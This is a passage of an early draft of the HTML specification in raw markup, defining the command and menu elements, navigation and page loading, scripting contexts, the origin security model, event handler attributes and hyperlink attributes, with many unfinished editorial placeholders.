href="#command1">command</a></code>    attributes off, and that has a default command.</p>  </div>  <p>The <dfn id=type12 title=dom-command-type><code>type</code></dfn>, <dfn   id=label0 title=dom-command-label><code>label</code></dfn>, <dfn id=icon1   title=dom-command-icon><code>icon</code></dfn>, <dfn id=hidden0   title=dom-command-hidden><code>hidden</code></dfn>, <dfn id=disabled4   title=dom-command-disabled><code>disabled</code></dfn>, <dfn id=checked1   title=dom-command-checked><code>checked</code></dfn>, <dfn id=radiogroup0   title=dom-command-radiogroup><code>radiogroup</code></dfn>, and <dfn   id=default0 title=dom-command-default><code>default</code></dfn> DOM   attributes must <a href="#reflect">reflect</a> their respective namesake   content attributes.  <p>The <dfn id=click0 title=dom-command-click><code>click()</code></dfn>   method's behaviour depends on the value of the <code   title=attr-command-type><a href="#type11">type</a></code> attribute of the   element, as follows:  <dl class=switch>   <dt>If the <code title=attr-command-type><a href="#type11">type</a></code>    attribute has the value <code title="">checkbox</code>   <dd>    <p>If the element has a <code title=attr-command-checked><a     href="#checked0">checked</a></code> attribute, the UA must remove that     attribute. Otherwise, the UA must add a <code     title=attr-command-checked><a href="#checked0">checked</a></code>     attribute, with the literal value <code title="">checked</code>. The UA     must then <a href="#firing">fire a <code title="">click</code> event</a>     at the element.   <dt>If the <code title=attr-command-type><a href="#type11">type</a></code>    attribute has the value <code title="">radio</code>   <dd>    <p>If the element has a parent, then the UA must walk the list of child     nodes of that parent element, and for each node that is a <code><a     href="#command1">command</a></code> element, if that element has a <code     title=attr-command-radiogroup><a     href="#radiogroup">radiogroup</a></code> attribute whose value exactly     matches the current element's (treating missing <code     title=attr-command-radiogroup><a     href="#radiogroup">radiogroup</a></code> attributes as if they were the     empty string), and has a <code title=attr-command-checked><a     href="#checked0">checked</a></code> attribute, must remove that     attribute and <a href="#firing">fire a <code title="">click</code>     event</a> at the element.</p>    <p>Then, the element's <code title=attr-command-checked><a     href="#checked0">checked</a></code> attribute attribute must be set to     the literal value <code title="">checked</code> and a <span title="file     a click event"><code title="">click</code> event must be fired</span> at     the element.   <dt>Otherwise   <dd>    <p>The UA must <a href="#firing">fire a <code title="">click</code>     event</a> at the element.  </dl>  <p class=note>Firing a synthetic <code title=event-click>click</code> event   at the element does not cause any of the actions described above to   happen.  <p class=big-issue> should change all the above so it actually is just   trigged by a click event, then we could remove the shadowing click()   method and rely on actual events.  <p class=big-issue>Need to define the command="" attribute  <p class=note><code><a href="#command1">command</a></code> elements are not   rendered unless they <a href="#menus">form part of a menu</a>.  <h4 id=the-menu><span class=secno>3.18.4. </span>The <dfn   id=menu0><code>menu</code></dfn> element</h4>  <p><a href="#block-level1" title="block-level elements">Block-level   element</a>, and <a href="#structured" title="structured inline-level   elements">structured inline-level element</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#block-level1">block-level elements</a> are expected.   <dd>Where <a href="#structured">structured inline-level elements</a> are    allowed.   <dt>Content model:   <dd>Zero or more <code><a href="#li0">li</a></code> elements, or <a    href="#inline-level1">inline-level content</a> (but not both).   <dt>Element-specific attributes:   <dd><code title=attr-menu-type><a href="#type13">type</a></code>   <dd><code title=attr-menu-label><a href="#label1">label</a></code>   <dd><code title=attr-menu-autosubmit><a    href="#autosubmit">autosubmit</a></code>   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>    <pre     class=idl>interface <dfn id=htmlcommandelement0>HTMLCommandElement</dfn> : <a href="#htmlelement">HTMLElement</a> {           attribute DOMString <span title=dom-menu-type>type</span>;           attribute DOMString <span title=dom-menu-label>label</span>;           attribute boolean <span title=dom-menu-autosubmit>autosubmit</span>;};</pre>  </dl>  <p>The <code><a href="#menu0">menu</a></code> element represents a list of   commands.  <p>The <dfn id=type13 title=attr-menu-type><code>type</code></dfn>   attribute indicates the kind of menu. It must have either the value <code   title="">popup</code> (to declare a context menu) or the value <code   title="">toolbar</code> (to define a tool bar). The attribute may also be   omitted, to indicate that the element is merely a list of commands that is   neither declaring a context menu nor defining a tool bar.  <p>If a <code><a href="#menu0">menu</a></code> element has a <code   title=attr-menu-type><a href="#type13">type</a></code> attribute with the   value <code title="">popup</code>, then it represents the commands of a   context menu, and the user can only interact with the commands if that   context menu is activated.  <p>If a <code><a href="#menu0">menu</a></code> element has a <code   title=attr-menu-type><a href="#type13">type</a></code> attribute with the   value <code title="">toolbar</code>, then it represents a list of active   commands that the user can immediately interact with.  <p>Otherwise, if a <code><a href="#menu0">menu</a></code> element has no   <code title=attr-menu-type><a href="#type13">type</a></code> attribute, or   if has a <code title=attr-menu-type><a href="#type13">type</a></code>   attribute with a value other than <code title="">popup</code> or <code   title="">toolbar</code>, then it either represents an unordered list of   items (each represented by an <code><a href="#li0">li</a></code> element),   each of which represents a command that the user may perform or activate,   or, if the element has no <code><a href="#li0">li</a></code> element   children, a <a href="#paragraph">paragraph</a> describing available   commands.  <p>The <dfn id=label1 title=attr-menu-label><code>label</code></dfn>   attribute gives the label of the menu. It is used by user agents to   display nested menus in the UI. For example, a context menu containing   another menu would use the nested menu's <code title=attr-menu-label><a   href="#label1">label</a></code> attribute for the submenu's menu label.  <p>The <dfn id=autosubmit   title=attr-menu-autosubmit><code>autosubmit</code></dfn> attribute   indicates whether selections made to form controls in this menu should   result in the control's form being immediately submitted. If the attribute   is present, its value must be <code title="">autosubmit</code>.  <p>If a <code title=event-change>change</code> event bubbles through a   <code><a href="#menu0">menu</a></code> element, then, in addition to any   other default action that that event might have, the UA must act as if the   following was an additional default action for that event: if (when it   comes time to execute the default action) the <code><a   href="#menu0">menu</a></code> element has an <code   title=attr-menu-autosubmit><a href="#autosubmit">autosubmit</a></code>   attribute, and the target of the event is an <code>input</code> element,   and that element has a <code title=attr-input-type>type</code> attribute   whose value is either <code title="">radio</code> or <code   title="">checkbox</code>, and the <code>input</code> element in question   has a non-null <code title=dom-input-form>form</code> DOM attribute, then   the UA must invoke the <code title=dom-form-submit>submit()</code> method   of the <code>form</code> element indicated by that DOM attribute.  <p>The <a href="#menus">processing model</a> for menus is described in the   next section.  <h3 id=miscellaneous><span class=secno>3.19. </span>Miscellaneous elements</h3>  <h4 id=the-legend><span class=secno>3.19.1. </span>The <dfn   id=legend0><code>legend</code></dfn> element</h4>  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>As the first child of a <code>fieldset</code> element.   <dd>As the first child of a <code><a href="#details0">details</a></code>    element.   <dd>As a child of a <code><a href="#figure0">figure</a></code> element, if    there are no other <code><a href="#legend0">legend</a></code> element    children of that element.   <dt>Content model:   <dd>If used as a child of a <code>fieldset</code> or <code><a    href="#details0">details</a></code> element: <a href="#significant"    title="significant inline content">significant</a> <a    href="#strictly">strictly inline-level content</a>   <dd>If used as a child of a <code><a href="#figure0">figure</a></code>    element: <a href="#inline-level1">inline-level content</a>.   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#legend0">legend</a></code> element represents a   title or explanatory caption for the rest of the contents of the <code><a   href="#legend0">legend</a></code> element's parent element.  <h4 id=the-div><span class=secno>3.19.2. </span>The <dfn   id=div0><code>div</code></dfn> element</h4>  <p><a href="#block-level1" title="block-level elements">Block-level   element</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#block-level1">block-level elements</a> are expected.   <dt>Content model:   <dd>Zero or more <a href="#block-level1">block-level elements</a>.   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd><code title=class-error><a href="#error0">error</a></code>, <code    title=class-example><a href="#example1">example</a></code>, <code    title=class-issue><a href="#issue0">issue</a></code>, <code    title=class-note><a href="#note0">note</a></code>, <code    title=class-search><a href="#search1">search</a></code>, <code    title=class-warning><a href="#warning0">warning</a></code>   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#div0">div</a></code> element represents nothing at   all. It can be used with the <code title=attr-class><a   href="#class6">class</a></code>, <code title=attr-lang><a   href="#lang0">lang</a></code>/<code title=attr-xml-lang><a   href="#xmllang0">xml:lang</a></code>, and <code title=attr-title><a   href="#title1">title</a></code> attributes to mark up semantics common to   a group of consecutive elements.  <h2 id=processing-models><span class=secno>4. </span>Processing models</h2>  <h3 id=navigating><span class=secno>4.1. </span>Navigating across documents</h3>  <p><em>This section only applies to Web browsers.</em></p>  <!-- XXX or should it? should conformance checkers do the whole content-type sniffing thing? -->  <!-- http://blogs.msdn.com/rssteam/articles/PublishersGuide.aspx http://lxr.mozilla.org/seamonkey/source/browser/components/feeds/src/nsFeedSniffer.cpp#192-->  <p>Web browsers operate on <a href="#browsing" title="browsing   context">browsing contexts</a>, which have a <em><a   href="#session0">session history</a></em>.  <p>Certain actions cause the browsing context to <em>navigate</em> to a new   document. A new document could be an HTML or XML <code>Document</code>,   with a DOM, or it could be an image, or some other content. The new   resource in question could have a URI, or it could be anonymous, for   example a new document generated using the <code   title=dom-document-write><a   href="#document.write">document.write()</a></code> API.</p>  <!-- that is, window.open() followed by document.open()  followed by document.write(), i guess XXX -->  <p>In addition, a particular resource can have multiple entries in the   session history of a browsing context.  <p>The requirements that the session history concept puts on user agents   are defined in <a href="#history">the session history and navigation   section</a>, which is structured around the APIs provided for scripts to   interact with the session history.  <p><em>This</em> section discusses the various types of content that a user   agent may find itself requested to dispay in a content area, and covers   how those types of content should be handled.  <p class=big-issue>This section will end up defining what the UA should do   when the user clicks a link, types a link in the address bar, uses a   bookmark, etc. This will probably involve being honest about the fact that   UAs typically content sniff for RSS/Atom feeds at this point. It should   also reference the <code title=dom-navigator-registerProtocolHandler><a   href="#registerprotocolhandler">registerProtocolHandler</a></code> and   <code title=dom-navigator-registerContentHandler><a   href="#registercontenthandler">registerContentHandler</a></code> methods   and their stuff. Also involves the session history and bfcache (there's a   separate section on that though).</p>  <!--   XXX HTTP Content-Type handling?   http://www.25hoursaday.com/weblog/   http://www.alvestrand.no/pipermail/ietf-types/2006-April/001707.html   http://ln.hixie.ch/?start=1144794177AMPERSANDcount=1   http://www.intertwingly.net/blog/2006/04/13/Dont-throw-charset-out-with-the-bathwater-->  <!-- XXX continue ... -->  <p class=big-issue>Must define the interaction of this with   document.write() pages and navigating to javascript: URIs.  <p class=big-issue>Must define that the global scope is cleared/put back   when navigating, so that Window objects from other windows looking at this   one see the attributes change when the page navigates; this does/doesn't   affect .watch(); make sure the .back()/.forward() definitions refer to   this section.  <h4 id=determining0><span class=secno>4.1.1. </span>Determining the type of   a new resource in a browsing context</h4>  <p class=big-issue>...</p>  <!--    first dispatch based on content-type:        any type OTHER than:             text/html             text/plain        ...should get honoured        then:         for text/plain;charset=iso-8859-1             text/plain;charset=ISO-8859-1         IF the content contains a character in the range .... in the [first 512 bytes]             -> treat as application/octet-stream? video/*? use extension?         for text/plain, text/html:         walk first 512 bytes as follows.         GO AND ANALYSE SOME OF THESE BABIES!!! Weeeee             [first 512 bytes] means what when you have less than 512 bytes?  -->  <h4 id=read-html><span class=secno>4.1.2. </span>Page load processing model   for HTML files</h4>  <p>When an HTML page<!-- should we say "a resource with a text/html  MIME type? -->   (as opposed to an XML page) is loaded in a <a href="#browsing">browsing   context</a>, the user agent must begin to parse the stream of bytes as   described in <a href="#parsing">the parsing section</a>.  <p class=big-issue>create a <code>Document</code> node, mark it as being an   <a href="#html-" title="HTML documents">HTML document</a>, create an <a   href="#html-0">HTML parser</a>, associate them together, run the parser   while pushing bytes into the end of the input stream, push an explicit EOF   when you have no more bytes, and require the parser to wait for an   explicit EOF in this case (or some equivalent)  <p>This will usually eventually cause a <code title=event-load>load</code>   event to be fired.</p>  <!-- XXX continue... -->  <p class=big-issue>This needs to say that a parser is created, etc.  <h4 id=read-xml><span class=secno>4.1.3. </span>Page load processing model   for XML files</h4>  <p class=big-issue>Must make sure we don't step on the toes of other   specifications.  <h4 id=read-text><span class=secno>4.1.4. </span>Page load processing model   for text files</h4>  <p class=big-issue>Must make sure we don't step on the toes of other   specifications. This section should be referred to by the document.open()   stuff.  <h4 id=read-feed><span class=secno>4.1.5. </span>Page load processing model   for syndication feeds</h4>  <p class=big-issue>...  <h4 id=content-type><span class=secno>4.1.6. </span><dfn   id=content-type1>Content-Type</dfn></h4>  <!-- "explicit Content-Type metadata associated with the resource" -->  <!-- "the resource's type information" -->  <p class=big-issue>This is a placeholder section for some text that will   define exactly how to handle Content-Type headers for top-level browsing   contexts, for AMPERSANDlt;img>, AMPERSANDlt;embed>, AMPERSANDlt;object>, etc; and will cover   things like the fact that on some operating systems the extension of a URI   determines the Content-Type for file:// content, or something.  <h3 id=scripting><span class=secno>4.2. </span>Scripting</h3>  <div class=big-issue>   <p>Here are some of the things I think we should list:</p>   <ul>    <li>onload/onunload events    <li>alert() blocks scripts, even those on timeouts or readystatechange     events   </ul>   <!-- XXX what about event handlers on elements in document A   referring to methods in document A when browsing context holding   document A is moved to document B? Same with executing javascript:   URIs on elements from doc A in that situation -->   </div>  <h4 id=running><span class=secno>4.2.1. </span>Running executable code</h4>  <p>Various mechanisms can cause author-provided executable code to run in   the context of a document. These mechanisms include, but are probably not   limited to:  <ul>   <li>Processing of <code><a href="#script2">script</a></code> elements.   <li>Processing of inline <code title=javascript-scheme>javascript:</code>    URIs (e.g. the <code title=attr-img-src><a href="#src">src</a></code>    attribute of <code><a href="#img0">img</a></code> elements, or an <code    title="">@import</code> rule in a CSS <code><a    href="#style0">style</a></code> element block).   <li>Event handlers, whether registered through the DOM using <code    title="">addEventListener()</code>, by explicit <a href="#event1">event    handler content attributes</a>, by <a href="#event2">event handler DOM    attributes</a>, or otherwise.   <li>Processing of technologies like XBL or SVG that have their own    scripting features.  </ul>  <p>User agents may provide a mechanism to enable or disable the execution   of author-provided code. When the user agent is configured such that   author-provided code does not execute, or if the user agent is implemented   so as to never execute author-provided code, it is said that <dfn   id=scripting1>scripting is disabled</dfn>. When author-provided code   <em>does</em> execute, <dfn id=scripting2>scripting is enabled</dfn>. A   user agent with scripting disabled is a <a href="#non-scripted"   title="User agents with no scripting support">user agent with no scripting   support</a> for the purposes of conformance.  <h4 id=scripting0><span class=secno>4.2.2. </span>Scripting contexts</h4>  <p>Each <code>Document</code> in a <a href="#browsing">browsing context</a>   has an associated <dfn id=scripting3>scripting context</dfn>.  <h4 id=threads><span class=secno>4.2.3. </span>Threads</h4>  <p>Each <a href="#scripting3">scripting context</a> is defined as having a   list of zero or more <dfn id=reachable>reachable scripting contexts</dfn>.   These are:  <ul>   <li>All the <a href="#scripting3" title="scripting context">scripting    contexts</a> of all the <code>Document</code>s in each nested <a    href="#browsing">browsing context</a> inside the scripting context's    <code>Document</code>.   <li>The <a href="#scripting3">scripting context</a> of the    <code>Document</code> that contains the <code>Document</code>'s <a    href="#browsing">browsing context</a>.   <li>All the <a href="#scripting3" title="scripting context">scripting    contexts</a> of all the <code>Document</code>s associated with any <a    href="#top-level" title="top-level browsing context">top-level browsing    contexts</a> that were opened from a <code>Document</code> associated    with the <a href="#scripting3">scripting context</a>'s    <code>Document</code>'s <a href="#browsing">browsing context</a>.   <li>All the <a href="#scripting3" title="scripting context">scripting    contexts</a> of all the <code>Document</code>s associated with the <a    href="#top-level" title="top-level browsing context">top-level browsing    contexts</a> of the <a href="#browsing">browsing context</a> of the    <code><a href="#windowhtml">WindowHTML</a></code> object returned by the    <a href="#scripting3">scripting context</a>'s <code>Document</code>'s    <code><a href="#windowhtml">WindowHTML</a></code>'s <code    title=dom-opener>opener</code> attribute.  </ul>  <p>The transitive closure of all the <a href="#scripting3" title="scripting   context">scripting contexts</a> that are <a href="#reachable">reachable   scripting contexts</a> consists of a <dfn id=unit-of>unit of related   scripting contexts</dfn>.  <p>All the executable code in a <a href="#unit-of">unit of related   scripting contexts</a> must execute on a single conceptual thread. While a   script is executing, no other scripts in that <a href="#unit-of">unit of   related scripting contexts</a> must be started.  <p>Events fired by the user agent in response to user actions must be   queued, as must the execution of any timers. There must be only one queue   per <a href="#unit-of">unit of related scripting contexts</a>. When no   script in the <a href="#unit-of">unit of related scripting contexts</a> is   executing, the oldest entry in the queue must be processed, either by   firing the appropriate event, or by executing the relevant timer callback   code.  <h4 id=scripting-security><span class=secno>4.2.4. </span>The security   model</h4>  <!-- https://bugzilla.mozilla.org/show_bug.cgi?id=346659 -->  <p><em>Web browser vendors should implement this security model, to provide   Web authors with a consistent development environment that is   interoperable across different implementations. However, implementors may   use any other model if desired.</em>  <p>The security model for Web browsers has grown organically with the   development of the Web, and as such is somewhat unique.  <p>Access to resources and APIs is granted or denied to Web content   (scripts, elements, etc) based on the content's <dfn   id=origin>origin</dfn>. For historical reasons, the mechanism for   determining the <em><a href="#origin">origin</a></em> of a particular   piece of content depends on the nature of the content.  <p class=big-issue>...</p>  <!-- XXX this is a very confused section, so I've commented it out  <p>For <code>Document</code>s:</p>  <dl class="switch">   <dt>If it was served over the network using HTTP, HTTPS, FTP, or   another protocol whose scheme contains a <em>host authority   component</em>:</dt>   <dd>    <p>The resource's origin consists of the scheme, host, and port    parts of the resource's full URI.</p>    <p class="example">For example, if a Web page has the address    <code>https://www.example.com/demo.html</code>, the origin    consists of the tuple "https", "www.example.com", and "443".</p>   </dd>   <dt>If it was created by script...</dt>   <dd>    <p>The resource's origin consists of the scheme, host, and port    parts of the resource's full URI.</p>    <p class="example">For example, if a Web page has the address    <code>https://www.example.com/demo.html</code>, the origin    consists of the tuple "https", "www.example.com", and "443".</p>   </dd>   <dt>A document resource (a <code>Document</code>) that was served   over the network using HTTP, HTTPS, FTP, or another protocol whose   scheme contains a <em>host authority component</em>:</dt>   <dd>    <p>The resource's origin consists of the scheme, host, and port    parts of the resource's full URI.</p>    <p class="example">For example, if a Web page has the address    <code>https://www.example.com/demo.html</code>, the origin    consists of the tuple "https", "www.example.com", and "443".</p>   </dd>   <dt>If the content was generated by script:</dt>   <dd>The content shares the same origin as the script itself.</dd>   <dt>If the content was generated by   </dl>   what other kinds of content do we care about the origin of?   images, for the purpose of <canvas>?   Window objects?-->  <p>The <dfn id=domain0 title="document's domain">domain of a   <code>Document</code> object</dfn> is the domain given by the   <code>hostname</code> attribute of the <code><a   href="#location1">Location</a></code> object returned by the   <code>Document</code> object's <code title=dom-document-location><a   href="#location0">location</a></code> attribute, <em>if</em> that   <code>hostname</code> attribute is not the empty string. <span   class=big-issue>If it is, the domain of the document is UA-defined. For   now.</span> <!-- XXX data: and javascript: URIs  should be relative to the spawning DocumentUI, but we need to make  sure that's a defined concept first. -->   <span class=big-issue>Need to be more correct about where .location is   defined. It's not actually on Document.</span>  <p>The <dfn id=domain1 title="script's domain">domain of a script</dfn> is   the <a href="#domain0" title="document's domain">domain of the   <code>Document</code> object</a> that is returned by the <code   title=dom-document>document</code> attribute of the script's primary   <code>Window</code> object (in UAs that implement ECMAScript, <a   href="#globalScopeObject">that is the global scope object</a>).</p>  <!-- scripting context? -->  <p><dfn id=the-string>The string representing the script's domain in IDNA   format</dfn> is obtained as follows: take the <a href="#domain1">script's   domain</a> and apply the IDNA ToASCII algorithm and then the IDNA   ToUnicode algorithm to each component of the domain name (with both the   AllowUnassigned and UseSTD3ASCIIRules flags set both times). <a   href="#refsRFC3490">[RFC3490]</a> If ToASCII fails to convert one of the   components of the string, e.g. because it is too long or because it   contains invalid characters, then the string representing the script's   domain in IDNA format cannot be obtained. (ToUnicode is defined to never   fail.)  <p class=big-issue>This section is <em>so</em> not complete.  <p class=big-issue>Define <dfn id=security2>security exception</dfn>.  <h4 id=javascript><span class=secno>4.2.5. </span><code>javascript:</code>   URIs</h4>  <p class=big-issue>What's the scripting context for javascript: URIs in   AMPERSANDlt;img src>, AMPERSANDlt;iframe src>, AMPERSANDlt;location.href>, AMPERSANDlt;a href>, @import,   background-image, etc?  <h4 id=runtime-script-errors><span class=secno>4.2.6. </span>Runtime script   errors</h4>  <p>Whenever a runtime script error occurs in one of the scripts associated   with the document, the value of the <dfn   id=onerror><code>onerror</code></dfn> attribute of the <code>window</code>   object (defined on the <code><a href="#windowhtml">WindowHTML</a></code>   interface of that object), must be processed, as follows:  <dl class=switch>   <dt>If the value is a function   <dd>    <p>The function referenced by the <code><a     href="#onerror">onerror</a></code> attribute must be invoked with three     arguments, before notifying the user of the error.</p>    <p>The three arguments passed to the function are all     <code>DOMString</code>s; the first must give the message that the UA is     considering reporting, the second must give the URI to the resource in     which the error occured, and the third must give the line number in that     resource on which the error occured.</p>    <p>If the function returns false, then the error should not be reported     to the user. Otherwise, if the function returns another value (or does     not return at all), the error should be reported to the user.</p>    <p>Any exceptions thrown or errors caused by this function must be     reported to the user immediately after the error that the function was     called for, without calling the function again.</p>   <dt>If the value is <code>null</code>   <dd>    <p>The error should not reported to the user.</p>   <dt>If the value is anything else   <dd>    <p>The error should be reported to the user.</p>  </dl>  <p>The initial value of <code><a href="#onerror">onerror</a></code> must be   <code>undefined</code>.  <h4 id=events><span class=secno>4.2.7. </span>Events</h4>  <h5 id=event-handler-attributes><span class=secno>4.2.7.1. </span>Event   handler attributes</h5>  <p><a href="#html-elements">HTML elements</a> can have event handler   attributes specified. These act as bubbling event listeners for the   element on which they are specified.  <p>Each event handler attribute has two parts, an <a href="#event1"   title="event handler content attributes">event handler content   attribute</a> and an <a href="#event2" title="event handler DOM   attributes">event handler DOM attribute</a>. Event handler attributes must   initially be set to null. When their value changes (through the changing   of their event handler content attribute or their event handler DOM   attribute), they will either be null, or have an   <code>EventListener</code> object assigned to them.  <p id=js-function-listener>In the ECMAScript DOM binding, the ECMAScript   native <code>Function</code> type must implement the   <code>EventListener</code> interface such that invoking the   <code>handleEvent()</code> method of that interface on the object from   another language binding invokes the function itself, with the   <code>event</code> argument as its only argument. In the ECMAScript   binding itself, however, the <code>handleEvent()</code> method of the   interface is not directly accessible on <code>Function</code> objects.   Such functions, when invoked, must be called in the global   scope<!-- XXX which global scope? -->. If the function returns false, the   event's <code>preventDefault()</code> method must then invoked. Exception:   for historical reasons, for the HTML <code>mouseover</code> event, the   <code>preventDefault()</code> method must be called when the function   returns true instead.  <p><dfn id=event1>Event handler content attributes</dfn>, when specified,   must contain valid ECMAScript code matching the ECMAScript <code   title="">FunctionBody</code> production. <a   href="#refsECMA262">[ECMA262]</a>  <p class=issue>How do we allow non-JS event handlers?  <p>When an event handler content attribute is set, its new value must be   interpreted as the body of an anonymous function with a single argument   called <code>event</code>, with the new function's scope chain being   linked from the activation object of the handler, to the element, to the   element's <code>form</code> element if it is a form control, to the   <code>Document</code> object, to the <span>global scope</span>. The   function's <code>this</code> parameter must be the <code>Element</code>   object representing the element. The resulting function must then be set   as the value of the corresponding event handler attribute, and the new   value must be set as the value of the content attribute. If the given   function body fails to compile, then the corresponding event handler   attribute must be set to null instead (the content attribute must still be   updated to the new value, though).  <p class=note>See ECMA262 Edition 3, sections 10.1.6 and 10.2.3, for more   details on activation objects. <a href="#refsECMA262">[ECMA262]</a>  <p><dfn id=event2>Event handler DOM attributes</dfn>, on setting, must set   the corresponding event handler attribute to their new value, and on   getting, must return whatever the current value of the corresponding event   handler attribute is (possibly null).  <p>The following are the event handler attributes that must be supported by   all <a href="#html-elements">HTML elements</a>, as both content attributes   and DOM attributes:  <dl>   <dt><dfn id=onclick title=handler-onclick><code>onclick</code></dfn>   <dd>Must be invoked whenever a <code title=event-click>click</code> event    is targetted at or bubbles through the element.   <dt>...more events...  </dl>  <h5 id=event><span class=secno>4.2.7.2. </span>Event firing</h5>  <p class=big-issue>maybe _this_ should be moved higher up (terminology?   conformance? DOM?)  <p>Certain operations and methods are defined as firing events on elements.   For example, the <code title=dom-click><a href="#click">click()</a></code>   method on the <code><a href="#htmlelement">HTMLElement</a></code>   interface is defined as firing a <code title=event-click>click</code>   event on the element. <a href="#refsDOM3EVENTS">[DOM3EVENTS]</a>  <p><dfn id=firing title="fire a click event">Firing a <code   title=event-click>click</code> event</dfn> means that a <a   href="http://www.w3.org/TR/DOM-Level-3-Events/events.html#event-click"><code>click</code></a>   event in the <code>http://www.w3.org/2001/xml-events</code> namespace,   which bubbles and is cancelable, and which uses the   <code>MouseEvent</code> interface, must be dispatched at the given   element. The event object must have its <code title="">screenX</code>,   <code title="">screenY</code>, <code title="">clientX</code>, <code   title="">clientY</code>, and <code title="">button</code> attributes set   to 0, its <code title="">ctrlKey</code>, <code title="">shiftKey</code>,   <code title="">altKey</code>, and <code title="">metaKey</code> attributes   set according to the current state of the key input device, if any (false   for any keys that are not available), its <code title="">detail</code>   attribute set to 1, and its <code title="">relatedTarget</code> attribute   set to null. The <code title="">getModifierState()</code> method on the   object must return values appropriately describing the state of the key   input device at the time the event is created.  <p><dfn id=firing0 title="fire a change event">Firing a <code   title=event-change>change</code> event</dfn> means that a <a   href="http://www.w3.org/TR/DOM-Level-3-Events/events.html#event-change"><code>change</code></a>   event in the <code>http://www.w3.org/2001/xml-events</code> namespace,   which bubbles but is not cancelable, and which uses the <code>Event</code>   interface, must be dispatched at the given element. The event object must   have its <code title="">detail</code> attribute set to 0.  <p><dfn id=firing1 title="fire a contextmenu event">Firing a <code   title=event-contextmenu>contextmenu</code> event</dfn> means that a <code   title=event-contextmenu>contextmenu</code> event in the   <code>http://www.w3.org/2001/xml-events</code> namespace, which bubbles   and is cancelable, and which uses the <code>Event</code> interface, must   be dispatched at the given element. The event object must have its <code   title="">detail</code> attribute set to 0.  <p><dfn id=firing2 title="fire a simple event">Firing a simple event called   <var title="">e</var></dfn> means that an event with the name <var   title="">e</var>, in the <code>http://www.w3.org/2001/xml-events</code>   namespace, which does not bubble but is cancelable, and which uses the   <code>Event</code> interface, must be dispatched at the given element. The   event object must have its <code title="">detail</code> attribute set to   0.  <p><dfn id=firing3 title="fire a show event">Firing a <code   title=event-show>show</code> event</dfn> means <a href="#firing2"   title="fire a simple event">firing a simple event called <code   title=event-show>show</code></a>. <dfn id=firing4 title="fire a load   event">Firing a <code title=event-load>load</code> event</dfn> means <a   href="#firing2" title="fire a simple event">firing a simple event called   <code title=event-load>load</code></a>. <dfn id=firing5 title="fire an   error event">Firing an <code title=event-error>error</code> event</dfn>   means <a href="#firing2" title="fire a simple event">firing a simple event   called <code title=event-error>error</code></a>.</p>  <!-- XXX need to define the dispatching of DOMActivate -->  <p>The default action of these event is to do nothing unless otherwise   stated.  <p class=big-issue>If you dispatch a custom "click" event at an element   that would normally have default actions, they should get triggered. We   need to go through the entire spec and make sure that any default actions   are defined in terms of <em>any</em> event of the right type on that   element, not those that are dispatched in expected ways.  <h5 id=event-handling><span class=secno>4.2.7.3. </span>Event handling</h5>  <p class=big-issue>We need a section to define how events all work, default   actions, etc. For example, how does clicking on a span in a link that is   in another link actually cause a link to be followed? which one? (where   should this section be?)  <h3 id=links><span class=secno>4.3. </span>Links</h3>  <h4 id=hyperlink><span class=secno>4.3.1. </span>Hyperlink elements</h4>  <p>The <code><a href="#a0">a</a></code>, <code><a   href="#area0">area</a></code>, and <code><a href="#link0">link</a></code>   elements can, in certain situations described in the definitions of those   elements, represent <dfn id=hyperlinks title=hyperlink>hyperlinks</dfn>.  <p>The <dfn id=href5 title=attr-hyperlink-href><code>href</code></dfn>   attribute on a hyperlink element must have a value that is a URI (or IRI).   This URI is the <em>destination resource</em> of the hyperlink.  <div class=note>   <p>The <code title="">href</code> attribute on <code><a    href="#a0">a</a></code> and <code><a href="#area0">area</a></code>    elements is not required; when those elements do not have <code    title="">href</code> attributes they do not represent hyperlinks.</p>   <p>The <code title=attr-link-href><a href="#href1">href</a></code>    attribute on the <code><a href="#link0">link</a></code> element    <em>is</em> required, but whether a <code><a    href="#link0">link</a></code> element represents a hyperlink or not    depends on the value of the <code title=attr-link-rel><a    href="#rel">rel</a></code> attribute of that element.</p>  </div>  <p>For <code><a href="#a0">a</a></code> and <code><a   href="#area0">area</a></code> elements that represent hyperlinks, the   relationship between the document containing the hyperlink and the   destination resource indicated by the hyperlink is given by the value of   the element's <dfn id=rel3 title=attr-hyperlink-rel><code>rel</code></dfn>   attribute. The <a href="#linkTypes">allowed values and their meanings</a>   are defined below. The <code title=attr-hyperlink-rel><a   href="#rel3">rel</a></code> attribute has no default value. If the   attribute is omitted or if none of the values in the attribute are   recognised by the UA, then the document has no particular relationship   with the destination resource other than there being a hyperlink between   the two.  <p>The <dfn id=media5 title=attr-hyperlink-media><code>media</code></dfn>   attribute describes for which media the target document was designed. It   is purely advisory. The value must be a valid media query. <a   href="#refsMQ">[MQ]</a> The default, if the <code   title=attr-hyperlink-media><a href="#media5">media</a></code> attribute is   omitted or has an invalid value, is <code>all</code>.  <p>The <dfn id=hreflang3   title=attr-hyperlink-hreflang><code>hreflang</code></dfn> attribute on   hyperlink elements, if present, gives the language of the linked resource.   It is purely advisory. The value must be a valid RFC 3066 language code.   <a href="#refsRFC3066">[RFC3066]</a> User agents must not consider this   attribute authoritative AMPERSANDmdash; upon fetching the resource, user agents   must only use language information associated with the resource to   determine its language, not metadata included in the link to the resource.  <p>The <dfn id=type14 title=attr-hyperlink-type><code>type</code></dfn>   attribute, if present, gives the MIME type of the linked resource. It is   purely advisory. The value must be a valid MIME type, optionally with   parameters. <a href="#refsRFC2046">[RFC2046]</a> User agents must not   consider the <code title=attr-hyperlink-type><a   href="#type14">type</a></code> attribute authoritative AMPERSANDmdash; upon   fetching the resource, user agents must only use <a href="#content-type1"   title=Content-Type>the Content-Type information associated with the   resource</a> to determine its type, not metadata included in the link to   the resource.  <p>The <dfn id=ping title=attr-hyperlink-ping><code>ping</code></dfn>   attribute, if present, gives the URIs of the resources that are interested   in being notified if the user follows the hyperlink. The value must be a   space separated list of one or more URIs. The value is used by the user   agent when <a href="#following1">following hyperlinks</a>.  <h4 id=following><span 